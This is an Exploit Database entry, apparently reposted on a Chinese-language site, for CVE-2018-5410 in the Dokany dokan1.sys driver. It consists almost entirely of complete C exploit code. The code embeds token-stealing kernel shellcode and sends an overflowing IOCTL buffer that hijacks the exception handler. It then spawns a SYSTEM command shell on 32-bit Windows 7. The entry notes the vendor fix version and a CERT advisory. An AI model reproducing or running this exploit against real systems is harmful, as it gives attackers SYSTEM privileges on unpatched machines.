Dokany 1.2.0.1000 – Stack-Based Buffer Overflow Privilege Escalation

• Exploit Database
• 83 阅读

• 作者： Parvez Anwar
  日期： 2019-01-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46155/

• /*
  
  Exploit Title- Dokany Stack-based Buffer Overflow Privilege Escalation
  Date - 14th January 2019
  Discovered by- Parvez Anwar (@parvezghh)
  Vendor Homepage- http://dokan-dev.github.io
  Tested Version - 1.2.0.1000
  Driver Version - 1.2.0.1000 - dokan1.sys
  Software package - https://github.com/dokan-dev/dokany/releases/download/v1.2.0.1000/DokanSetupDbg_redist.exe
  Tested on OS - 32bit Windows 7
  CVE ID - CVE-2018-5410
  Vendor fix url - https://github.com/dokan-dev/dokany/releases/tag/v1.2.1.1000
  CERT/CC Vul note - https://www.kb.cert.org/vuls/id/741315
  Fixed Version- 1.2.1.1000
  Fixed driver ver - 1.2.1.1000
  
  
  
  Check blogpost for details:
   
  Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability
  
  */
  
  
  #include <stdio.h>
  #include <windows.h>
  
  #define BUFSIZE 896
  
  
  // Windows 7 SP1
  
  #define W7_KPROCESS 0x50// Offset to _KPROCESS from a _ETHREAD struct
  #define W7_TOKEN0xf8// Offset to TOKEN from the _EPROCESS struct
  #define W7_UPID 0xb4// Offset to UniqueProcessId FROM the _EPROCESS struct
  #define W7_APLINKS0xb8// Offset to ActiveProcessLinks _EPROCESS struct
  
  
  BYTE token_steal_w7[] =
  {
  0x60,// pushad Saves all registers
  0x64,0xA1,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
  0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS
  0x8b,0xc8, // mov ecx, eax Current _EPROCESS structure
  0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN]Retrieves TOKEN
  0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-|Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS |Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W7_UPID], 4|Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8, // jne ---- 
  0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN]Retrieves TOKEN and stores on EDX
  0x89,0x91,0xF8,0x00,0x00,0x00, // mov [ecx+W7_TOKEN], edxOverwrites the TOKEN for the current KPROCESS
  0x61,// popadRestores all registers
  0x81,0xc4,0x3c,0x0b,0x00,0x00, // add esp,0xB3cTarget frame to return
  0x31,0xc0, // xor eax,eaxNTSTATUS -> STATUS_SUCCESS
  0x5d,// pop ebpRestore saved EBP
  0xc2,0x08,0x00 // ret 8Return cleanly
  };
  
  
  
  int spawnShell()
  {
  STARTUPINFOA si;
  PROCESS_INFORMATIONpi;
  
  
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  
  if (!CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
  {
  printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
  return -1;
  }
  
  CloseHandle(pi.hThread);
  CloseHandle(pi.hProcess);
  
  return 0;
  }
  
  
  
  int main(int argc, char *argv[]) 
  {
  HANDLE hDevice;
  char devhandle[MAX_PATH];
  DWORDdwRetBytes = 0; 
  BYTE *inbuffer;
  LPVOID addrtoshell;
  
  
  printf("-------------------------------------------------------------------------------\n");
  printf(" Dokany (dokan1.sys) Stack-based Buffer Overflow Cookie Bypass EoP Exploit \n");
  printf("Tested on 32bit Windows 7\n");
  printf("-------------------------------------------------------------------------------\n");
  
  addrtoshell = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  
  if(addrtoshell == NULL)
  {
  printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
  return -1;
  }
  
  memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7));
  
  printf("\n[i] Size of shellcode %d bytes", sizeof(token_steal_w7));
  printf("\n[i] Shellcode located at address 0x%p", addrtoshell);
  
  inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
   
  if(inbuffer == NULL)
  {
  printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
  return -1;
  }
  
  memset(inbuffer, 0x41, BUFSIZE); 
  printf("\n[i] Buffer located at address 0x%p", inbuffer);
  
  printf("\n[i] Size of total input buffer being sent %d bytes", BUFSIZE);
  
  *(WORD*)(inbuffer) = BUFSIZE; // Size of buffer used by memcpy 
  *(WORD*)(inbuffer + 2) = BUFSIZE-6; // Size of input buffer, value has to be at most BUFSIZE - 6
  *(DWORD*)(inbuffer + 776) = 0x42424242; // cookie
  *(DWORD*)(inbuffer + 784) = 0x43434343; // return
  *(DWORD*)(inbuffer + 792) = 0x44444444; // IRP
  //*(DWORD*)(inbuffer + 892) = 0x45454545; // Exception handler
  *(DWORD*)(inbuffer + 892) = (ULONG)addrtoshell; // Shellcode
  
  sprintf(devhandle, "\\\\.\\%s", "Dokan_1");
  
  hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
  
  if(hDevice == INVALID_HANDLE_VALUE)
  {
  printf("\n[-] Open %s device failed\n\n", devhandle);
  return -1;
  }
  else 
  {
  printf("\n[+] Open %s device successful", devhandle);
  }	
  
  printf("\n[~] Press any key to continue . . .\n");
  getch();
  
  DeviceIoControl(hDevice, 0x00222010, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); 
  
  printf("[*] Spawning SYSTEM Shell\n");
  spawnShell();
  
  CloseHandle(hDevice);
  return 0;
  }
  

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